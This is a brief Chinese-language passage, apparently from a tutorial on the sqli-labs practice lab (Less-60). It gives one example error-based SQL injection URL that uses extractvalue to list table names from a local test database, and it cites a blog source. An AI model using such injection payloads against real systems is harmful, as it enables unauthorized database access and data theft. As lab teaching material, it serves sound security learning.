与上述一致，同样给出一个示例payload：
http://127.0.0.1/sqli-labs/Less-60/?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e))--+
原文：http://www.cnblogs.com/lcamry/p/5762620.html